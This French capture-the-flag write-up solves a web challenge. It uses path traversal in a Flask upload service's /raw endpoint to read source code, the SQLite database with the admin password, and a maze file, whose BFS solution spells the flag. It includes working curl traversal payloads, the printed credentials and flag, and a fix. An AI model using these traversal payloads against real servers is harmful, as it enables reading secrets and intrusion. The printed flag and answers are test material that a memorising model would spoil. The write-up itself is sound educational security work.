Énoncé (résumé)
Un service d’upload de fichiers « FileVault » stockerait des secrets, mais on se perd dans un « labyrinthe de fichiers ». Le titre (« ne suis pas le mauvais chemin ») oriente vers du path traversal.
Reconnaissance
Application Flask classique : /register, /login, /dashboard, /upload.
Après upload, chaque fichier expose trois liens :
/view?filename=<nom>→ lecture viaopen()/raw?filename=<nom>→ lecture viaopen()/download/<path>→send_from_directory
Les fichiers sont rangés par utilisateur dans /app/uploads/<user>/.
Vulnérabilité — Path Traversal / LFI
/raw et /view construisent le chemin sans assainir .. :
user_dir = os.path.join(UPLOAD_FOLDER, session["user"])
filepath = os.path.join(user_dir, filename) # filename non filtré
open(filepath, "r", errors="replace")
os.path.join(base, "../../../../etc/passwd") → lecture arbitraire de fichiers.
Le piège (« wrong path ») : /download/<path> utilise send_from_directory, qui
bloque le traversal. Il faut passer par /raw (ou /view), pas par
/download.
Exploitation (reproductible)
B=https://dftwp.ctf.blackalps.ch
# 1. Compte + session (username alphanum/_ uniquement)
curl -s -c c.txt -X POST "$B/register" \
--data-urlencode username=pigu1 --data-urlencode password='Pw123!'
curl -s -c c.txt -b c.txt -X POST "$B/login" \
--data-urlencode username=pigu1 --data-urlencode password='Pw123!'
# 2. LFI : lire la source puis la base SQLite (texte -> ASCII lisible)
curl -s -b c.txt "$B/raw?filename=../../../../app/app.py"
curl -s -b c.txt "$B/raw?filename=../../../../app/challenge.db" | strings | grep -i admin
# -> admin / SuperSecretPassword123!
# 3. (voie prévue) se connecter en admin : son dashboard liste flag.txt + flag.maze
curl -s -c admin.txt -X POST "$B/login" \
--data-urlencode username=admin --data-urlencode password='SuperSecretPassword123!'
curl -s -b admin.txt "$B/download/flag.maze" -o flag.maze
# (raccourci) la LFI suffit depuis n'importe quel compte :
curl -s -b c.txt "$B/raw?filename=../../../../app/uploads/admin/flag.maze" -o flag.maze
flag.txt est un leurre :
« Sadly, this file has been obfuscated to a maze due to community abuse… »
Dernière étape — résoudre le labyrinthe
flag.maze est un labyrinthe ASCII 201×201. Murs = #, couloirs = , et des
lettres dispersées sur les couloirs (dont une majorité de leurres, sur les
mauvais chemins). Deux marqueurs > : entrée (1,0) et sortie (199,200).
Le labyrinthe est parfait (chemin unique) : un BFS entre les deux > donne
l’unique trajet, et les lettres rencontrées le long de ce trajet, dans l’ordre,
épellent le flag.
from collections import deque
grid = [list(l.rstrip('\n')) for l in open('flag.maze')]
H = len(grid); W = max(len(r) for r in grid)
for r in grid: r += [' '] * (W - len(r))
ends = [(y, x) for y in range(H) for x in range(W) if grid[y][x] == '>']
s, e = ends
walk = lambda y, x: 0 <= y < H and 0 <= x < W and grid[y][x] != '#'
prev = {s: None}; q = deque([s])
while q:
y, x = q.popleft()
if (y, x) == e: break
for dy, dx in ((1,0), (-1,0), (0,1), (0,-1)):
ny, nx = y+dy, x+dx
if walk(ny, nx) and (ny, nx) not in prev:
prev[(ny, nx)] = (y, x); q.append((ny, nx))
path = []; cur = e
while cur: path.append(cur); cur = prev[cur]
path.reverse()
print(''.join(grid[y][x] for y, x in path if grid[y][x] not in '# >'))
# BA26{tHis_Is_a_rEally_loNG_flag_ThAt_is_Very_DiFFicult_to_gUess_bUT_you_cAn_find_It_in_tHE_mAze}
Script complet : solve2.py (dossier scratchpad de la session) ; notes : NOTES.md.
Correctif
Assainir filename avant le open() (werkzeug.utils.secure_filename, ou
résoudre le chemin réel et vérifier qu’il reste sous UPLOAD_FOLDER/<user>/),
exactement comme le fait déjà send_from_directory.